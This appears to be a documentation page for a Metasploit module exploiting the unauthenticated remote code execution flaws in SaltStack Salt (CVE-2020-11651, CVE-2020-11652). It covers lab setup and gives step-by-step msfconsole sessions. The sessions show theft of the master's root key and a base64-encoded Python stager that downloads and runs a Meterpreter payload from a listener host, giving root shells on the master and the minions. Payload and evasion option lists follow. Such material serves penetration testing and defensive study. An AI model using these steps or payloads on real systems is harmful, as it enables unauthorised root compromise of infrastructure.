SaltStack Salt Master/Minion Unauthenticated RCE - Metasploit


This page contains detailed information about how to use the exploit/linux/misc/saltstack_salt_unauth_rce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: SaltStack Salt Master/Minion Unauthenticated RCE
Module: exploit/linux/misc/saltstack_salt_unauth_rce
Source code: modules/exploits/linux/misc/saltstack_salt_unauth_rce.rb
Disclosure date: 2020-04-30
Last modification time: 2021-09-17 16:34:46 +0000
Supported architecture(s): python, cmd
Supported platform(s): Python, Unix
Target service / protocol: -
Target network port(s): 4506
List of CVEs: CVE-2020-11651, CVE-2020-11652

This module exploits unauthenticated access to the runner() and _send_pub() methods in the SaltStack Salt master's ZeroMQ request server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to execute code as root on either the master or on select minions. VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2, 1.3, 1.5, and 1.6 in certain configurations, are known to be affected by the Salt vulnerabilities. Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as well as Vulhub's Docker image.

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • service-resource-loss: Module may cause a resource (such as a file or data in a database) to be unavailable for the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/linux/misc/saltstack_salt_unauth_rce
msf exploit(saltstack_salt_unauth_rce) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • CheckModule: Module to check with

Knowledge Base


Vulnerable Application


Description

This module exploits unauthenticated access to the runner() and _send_pub() methods in the SaltStack Salt master's ZeroMQ request server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to execute code as root on either the master or on select minions.

VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2, 1.3, 1.5, and 1.6 in certain configurations, are known to be affected by the Salt vulnerabilities.

Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as well as Vulhub's Docker image.

Setup

Note: I did the bulk of my testing after manually installing Salt in an Ubuntu 18.04 VM, but the Docker image from Vulhub may be quicker. YMMV.

Using a virtual machine


  1. Set up an Ubuntu 18.04 VM
  2. Browse to SaltStack's instructions for Ubuntu
  3. Select Pin to Minor Release and change all versions to either 2019.2.3 or 3000.1, depending on the version you wish to test
  4. Follow the instructions, installing only the salt-master and salt-minion packages necessary for testing
  5. Follow the post-installation configuration

You may now begin testing.

Using Docker


Prerequisites: Docker and Docker Compose must be installed first.

Note: The Salt master is already configured and running in the following scenario. The majority of the steps below are for configuring and starting the minion. Version 2019.2.3 will be used.

  1. Run git clone https://github.com/vulhub/vulhub
  2. Run cd vulhub/saltstack/CVE-2020-11651
  3. Run docker-compose up -d to start the container in the background
  4. Run docker exec -it cve-2020-11651_saltstack_1 bash to drop to a root shell inside the container
  5. Run echo $'127.0.0.1\tsalt' >> /etc/hosts to add the master to /etc/hosts (this allows the minion to find the master)
  6. Run salt-minion -d to execute the minion in the background
  7. Run salt-key -A and accept the key for the minion

You may now begin testing.

Verification Steps


Follow Setup and Scenarios.

Targets


Master (Python payload)

This executes a Python payload on the master(s) specified by RHOST(S).

Master (Unix command)

This executes a Unix command payload on the master(s) specified by RHOST(S).

Minions (Python payload)

This executes a Python payload on the minions specified by the MINIONS option.

Minions (Unix command)

This executes a Unix command payload on the minions specified by the MINIONS option.

Options


ROOT_KEY

If you already have the master's root key, you may set it in this option. Note that the master regenerates the root key on each startup.

MINIONS

This is the PCRE regex of minions to execute the payload on. Defaults to .* for all minions.

WfsDelay

Set this to the number of seconds to wait for all sessions to come in. Defaults to 10 seconds, though the exploit may wait up to 20 seconds.

Scenarios


SaltStack Salt 2019.2.3 on Ubuntu 18.04

Executing Python payload on the master


msf5 > use exploit/linux/misc/saltstack_salt_unauth_rce
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Master (Python payload)
   1   Master (Unix command)
   2   Minions (Python payload)
   3   Minions (Unix command)


msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > options

Module options (exploit/linux/misc/saltstack_salt_unauth_rce):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   MINIONS   .*               yes       PCRE regex of minions to target
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   ROOT_KEY                   no        Master's root key if you have it
   RPORT     4506             yes       The target port (TCP)
   SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT   8080             yes       The local port to listen on.
   SSL       false            no        Negotiate SSL for incoming connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                    no        The URI to use for this exploit (default is random)


Payload options (python/meterpreter/reverse_https):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The local listener hostname
   LPORT  8443             yes       The local listener port
   LURI                    no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Master (Python payload)


msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set rhosts 172.28.128.5
rhosts => 172.28.128.5
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set lhost 172.28.128.1
lhost => 172.28.128.1
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > run

[*] Started HTTPS reverse handler on https://172.28.128.1:8443
[*] 172.28.128.5:4506 - Using auxiliary/gather/saltstack_salt_root_key as check
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Negotiating signature
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
[*] 172.28.128.5:4506 - Sending identical signature
[*] 172.28.128.5:4506 - Negotiating version
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
[*] 172.28.128.5:4506 - Sending identical version
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
[+] 172.28.128.5:4506 - Received NULL security mechanism
[*] 172.28.128.5:4506 - Sending NULL security mechanism
[*] 172.28.128.5:4506 - Sending READY command of type REQ
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
[*] 172.28.128.5:4506 - Yeeting _prep_auth_info() at 172.28.128.5:4506
[+] 172.28.128.5:4506 - Received serialized auth info
[+] 172.28.128.5:4506 - Root key: bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk=
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Negotiating signature
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
[*] 172.28.128.5:4506 - Sending identical signature
[*] 172.28.128.5:4506 - Negotiating version
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
[*] 172.28.128.5:4506 - Sending identical version
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
[+] 172.28.128.5:4506 - Received NULL security mechanism
[*] 172.28.128.5:4506 - Sending NULL security mechanism
[*] 172.28.128.5:4506 - Sending READY command of type REQ
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
[*] 172.28.128.5:4506 - Executing Python payload on the master: python/meterpreter/reverse_https
[*] 172.28.128.5:4506 - Yeeting runner() at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Executing Python code: exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My96a0p4ZWdUdlhWeUtGcDhDMUtGZmpnTFNKOXNvcycpLnJlYWQoKSkK')[0]))
[*] 172.28.128.5:4506 - Unserialized clear load: {"cmd"=>"runner", "fun"=>"salt.cmd", "kwarg"=>{"hide_output"=>true, "ignore_retcode"=>true, "output_loglevel"=>"quiet", "fun"=>"cmd.exec_code", "lang"=>"python", "code"=>"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My96a0p4ZWdUdlhWeUtGcDhDMUtGZmpnTFNKOXNvcycpLnJlYWQoKSkK')[0]))"}, "user"=>"root", "key"=>"bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk="}
[+] 172.28.128.5:4506 - Received runner() response: "\x01\x00\x00<\x82\xA3jid\xB420200510102113141303\xA3tag\xBDsalt/run/20200510102113141303"
[*] https://172.28.128.1:8443 handling request from 172.28.128.5; (UUID: kwpadl1s) Staging python payload (53902 bytes) ...
[*] Meterpreter session 1 opened (172.28.128.1:8443 -> 172.28.128.5:48236) at 2020-05-10 05:21:15 -0500
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer        : ubuntu-bionic
OS              : Linux 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter >

Executing Python payload on the minions


msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set target Minions\ (Python\ payload)
target => Minions (Python payload)
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > run

[*] Started HTTPS reverse handler on https://172.28.128.1:8443
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Negotiating signature
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
[*] 172.28.128.5:4506 - Sending identical signature
[*] 172.28.128.5:4506 - Negotiating version
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
[*] 172.28.128.5:4506 - Sending identical version
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
[+] 172.28.128.5:4506 - Received NULL security mechanism
[*] 172.28.128.5:4506 - Sending NULL security mechanism
[*] 172.28.128.5:4506 - Sending READY command of type REQ
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
[*] 172.28.128.5:4506 - Executing Python payload on the minions: python/meterpreter/reverse_https
[*] 172.28.128.5:4506 - Yeeting _send_pub() at 172.28.128.5:4506
[*] 172.28.128.5:4506 - Executing Python code: exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My9hZEY5X2gxZFJrZ3BSRHhRZF9QOC1nc1V6a1hmcycpLnJlYWQoKSkK')[0]))
[*] 172.28.128.5:4506 - Unserialized clear load: {"cmd"=>"_send_pub", "kwargs"=>{"bg"=>true, "hide_output"=>true, "ignore_retcode"=>true, "output_loglevel"=>"quiet", "show_jid"=>false, "show_timeout"=>false}, "user"=>"root", "tgt"=>".*", "tgt_type"=>"pcre", "jid"=>"20200510102150723893", "fun"=>"cmd.exec_code", "arg"=>["python", "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My9hZEY5X2gxZFJrZ3BSRHhRZF9QOC1nc1V6a1hmcycpLnJlYWQoKSkK')[0]))"]}
[+] 172.28.128.5:4506 - Received _send_pub() response: "\x01\x00\x00\x01\xC0"
[*] https://172.28.128.1:8443 handling request from 172.28.128.5; (UUID: foe5rluh) Staging python payload (53883 bytes) ...
[*] Meterpreter session 2 opened (172.28.128.1:8443 -> 172.28.128.5:48388) at 2020-05-10 05:21:51 -0500
[+] 172.28.128.5:4506 - Deleted /var/cache/salt/minion/proc/20200510102150723893
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer        : ubuntu-bionic
OS              : Linux 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020
Architecture    : x64
System Language : C
Meterpreter     : python/linux
meterpreter >

Go back to menu.

Msfconsole Usage


Here is how the linux/misc/saltstack_salt_unauth_rce exploit module looks in the msfconsole:

msf6 > use exploit/linux/misc/saltstack_salt_unauth_rce

[*] Using configured payload python/meterpreter/reverse_https
msf6 exploit(linux/misc/saltstack_salt_unauth_rce) > show info

       Name: SaltStack Salt Master/Minion Unauthenticated RCE
     Module: exploit/linux/misc/saltstack_salt_unauth_rce
   Platform: Python, Unix
       Arch: python, cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2020-04-30

Provided by:
  F-Secure
  wvu <[email protected]>

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 service-resource-loss

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Master (Python payload)
  1   Master (Unix command)
  2   Minions (Python payload)
  3   Minions (Unix command)

Check supported:
  Yes

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  MINIONS   .*               yes       PCRE regex of minions to target
  RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  ROOT_KEY                   no        Master's root key if you have it
  RPORT     4506             yes       The target port (TCP)
  SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT   8080             yes       The local port to listen on.
  SSL       false            no        Negotiate SSL for incoming connections
  SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                    no        The URI to use for this exploit (default is random)

Payload information:

Description:
  This module exploits unauthenticated access to the runner() and 
  _send_pub() methods in the SaltStack Salt master's ZeroMQ request 
  server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to 
  execute code as root on either the master or on select minions. 
  VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as 
  well as Cisco Modeling Labs Corporate Edition (CML) and Cisco 
  Virtual Internet Routing Lab Personal Edition (VIRL-PE), for 
  versions 1.2, 1.3, 1.5, and 1.6 in certain configurations, are known 
  to be affected by the Salt vulnerabilities. Tested against SaltStack 
  Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as well as Vulhub's Docker 
  image.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-11651
  https://nvd.nist.gov/vuln/detail/CVE-2020-11652
  https://labs.f-secure.com/advisories/saltstack-authorization-bypass
  https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/
  https://www.vmware.com/security/advisories/VMSA-2020-0009.html
  https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG
  https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py

Module Options


This is a complete list of options available in the linux/misc/saltstack_salt_unauth_rce exploit:

msf6 exploit(linux/misc/saltstack_salt_unauth_rce) > show options

Module options (exploit/linux/misc/saltstack_salt_unauth_rce):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   MINIONS   .*               yes       PCRE regex of minions to target
   RHOSTS                     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   ROOT_KEY                   no        Master's root key if you have it
   RPORT     4506             yes       The target port (TCP)
   SRVHOST   0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT   8080             yes       The local port to listen on.
   SSL       false            no        Negotiate SSL for incoming connections
   SSLCert                    no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                    no        The URI to use for this exploit (default is random)

Payload options (python/meterpreter/reverse_https):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The local listener hostname
   LPORT  8443             yes       The local listener port
   LURI                    no        The HTTP Path

Exploit target:

   Id  Name
   --  ----
   0   Master (Python payload)

Advanced Options


Here is a complete list of advanced options supported by the linux/misc/saltstack_salt_unauth_rce exploit:

msf6 exploit(linux/misc/saltstack_salt_unauth_rce) > show advanced

Module advanced options (exploit/linux/misc/saltstack_salt_unauth_rce):

   Name                    Current Setting                           Required  Description
   ----                    ---------------                           --------  -----------
   CHOST                                                             no        The local client address
   CPORT                                                             no        The local client port
   CheckModule             auxiliary/gather/saltstack_salt_root_key  yes       Module to check with
   ConnectTimeout          10                                        yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                                            no        The information file that contains context information
   DisablePayloadHandler   false                                     no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                     no        Use transient context when encoding payloads
   FileDropperDelay                                                  no        Delay in seconds before attempting cleanup
   ListenerComm                                                      no        The specific communication channel to use for this service
   Proxies                                                           no        A proxy chain of format type:host:port[,type:host:port][...]
   SSLCipher                                                         no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                                     no        Enable SSL/TLS-level compression
   SSLVerifyMode           PEER                                      no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto                                      yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   SendRobots              false                                     no        Return a robots.txt file if asked for one
   URIHOST                                                           no        Host to use in URI (useful for tunnels)
   URIPORT                                                           no        Port to use in URI (useful for tunnels)
   VERBOSE                 false                                     no        Enable detailed status messages
   WORKSPACE                                                         no        Specify the workspace for this module
   WfsDelay                10                                        yes       Seconds to wait for *all* sessions

Payload advanced options (python/meterpreter/reverse_https):

   Name                         Current Setting                                                Required  Description
   ----                         ---------------                                                --------  -----------
   AutoLoadStdapi               true                                                           yes       Automatically load the Stdapi extension
   AutoRunScript                                                                               no        A script to run automatically on session creation.
   AutoSystemInfo               true                                                           yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false                                                          yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30                                                             no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false                                                          no        Encode the second stage payload
   EnableUnicodeEncoding        false                                                          yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                                                              no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   HttpCookie                                                                                  no        An optional value to use for the Cookie HTTP header
   HttpHostHeader                                                                              no        An optional value to use for the Host HTTP header
   HttpProxyHost                                                                               no        An optional proxy server IP address or hostname
   HttpProxyPass                                                                               no        An optional proxy server password Max parameter length: 63 characters
   HttpProxyPort                                                                               no        An optional proxy server port
   HttpProxyUser                                                                               no        An optional proxy server username Max parameter length: 63 characters
   HttpReferer                                                                                 no        An optional value to use for the Referer HTTP header
   HttpServerName               Apache                                                         no        The server header that the handler will send in response to requests
   HttpUnknownRequestResponse   <html><body><h1>It works!</h1></body></html>                   no        The returned HTML response body when the handler receives a request that is not from a payload
   HttpUserAgent                Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko  no        The user-agent that the payload should use for communication Max parameter length: 255 characters
   IgnoreUnknownPayloads        false                                                          no        Whether to drop connections from payloads using unknown UUIDs
   InitialAutoRunScript                                                                        no        An initial script to run on session creation (before AutoRunScript)
   MeterpreterTryToFork         true                                                           no        Fork a new process if the functionality is available
   OverrideLHOST                                                                               no        When OverrideRequestHost is set, use this value as the host name for secondary requests
   OverrideLPORT                                                                               no        When OverrideRequestHost is set, use this value as the port number for secondary requests
   OverrideRequestHost          false                                                          no        Forces a specific host and port instead of using what the client requests, defaults to LHOST:LPORT
   OverrideScheme                                                                              no        When OverrideRequestHost is set, use this value as the scheme for secondary requests, e.g http or https
   PayloadProcessCommandLine                                                                   no        The displayed command line that will be used by the payload
   PayloadUUIDName                                                                             no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                                                              no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                                                                             no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false                                                          yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                                                              yes       How many additional successful pingbacks
   PingbackSleep                30                                                             yes       Time (in seconds) to sleep between pingbacks
   PythonMeterpreterDebug       false                                                          no        Enable debugging for the Python meterpreter
   ReverseAllowProxy            false                                                          yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                                                                  no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                                                                     no        The port to bind to on the local system if different from LPORT
   SessionCommunicationTimeout  300                                                            no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800                                                         no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600                                                           no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10                                                             no        Number of seconds to wait between reconnect attempts
   StageEncoder                                                                                no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                                                                   no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true                                                           no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerVerifySSLCert          false                                                          no        Whether to verify the SSL certificate in Meterpreter
   VERBOSE                      false                                                          no        Enable detailed status messages
   WORKSPACE                                                                                   no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/misc/saltstack_salt_unauth_rce module can exploit:

msf6 exploit(linux/misc/saltstack_salt_unauth_rce) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Master (Python payload)
   1   Master (Unix command)
   2   Minions (Python payload)
   3   Minions (Unix command)

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/misc/saltstack_salt_unauth_rce exploit:

msf6 exploit(linux/misc/saltstack_salt_unauth_rce) > show payloads

Compatible Payloads
===================

   #   Name                                         Disclosure Date  Rank    Check  Description
   -   ----                                         ---------------  ----    -----  -----------
   0   payload/generic/custom                                        normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                             normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/multi/meterpreter/reverse_http                        normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   4   payload/multi/meterpreter/reverse_https                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   5   payload/python/meterpreter/bind_tcp                           normal  No     Python Meterpreter, Python Bind TCP Stager
   6   payload/python/meterpreter/bind_tcp_uuid                      normal  No     Python Meterpreter, Python Bind TCP Stager with UUID Support
   7   payload/python/meterpreter/reverse_http                       normal  No     Python Meterpreter, Python Reverse HTTP Stager
   8   payload/python/meterpreter/reverse_https                      normal  No     Python Meterpreter, Python Reverse HTTPS Stager
   9   payload/python/meterpreter/reverse_tcp                        normal  No     Python Meterpreter, Python Reverse TCP Stager
   10  payload/python/meterpreter/reverse_tcp_ssl                    normal  No     Python Meterpreter, Python Reverse TCP SSL Stager
   11  payload/python/meterpreter/reverse_tcp_uuid                   normal  No     Python Meterpreter, Python Reverse TCP Stager with UUID Support
   12  payload/python/meterpreter_bind_tcp                           normal  No     Python Meterpreter Shell, Bind TCP Inline
   13  payload/python/meterpreter_reverse_http                       normal  No     Python Meterpreter Shell, Reverse HTTP Inline
   14  payload/python/meterpreter_reverse_https                      normal  No     Python Meterpreter Shell, Reverse HTTPS Inline
   15  payload/python/meterpreter_reverse_tcp                        normal  No     Python Meterpreter Shell, Reverse TCP Inline
   16  payload/python/shell_bind_tcp                                 normal  No     Command Shell, Bind TCP (via python)
   17  payload/python/shell_reverse_tcp                              normal  No     Command Shell, Reverse TCP (via python)
   18  payload/python/shell_reverse_tcp_ssl                          normal  No     Command Shell, Reverse TCP SSL (via python)
   19  payload/python/shell_reverse_udp                              normal  No     Command Shell, Reverse UDP (via python)

Evasion Options


Here is the full list of possible evasion options supported by the linux/misc/saltstack_salt_unauth_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/misc/saltstack_salt_unauth_rce) > show evasion

Module evasion options:

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   HTTP::chunked         false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression     none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding  false            no        Enable folding of HTTP headers
   HTTP::junk_headers    false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache        false            no        Disallow the browser to cache HTTP content
   HTTP::server_name     Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size    0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay       0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

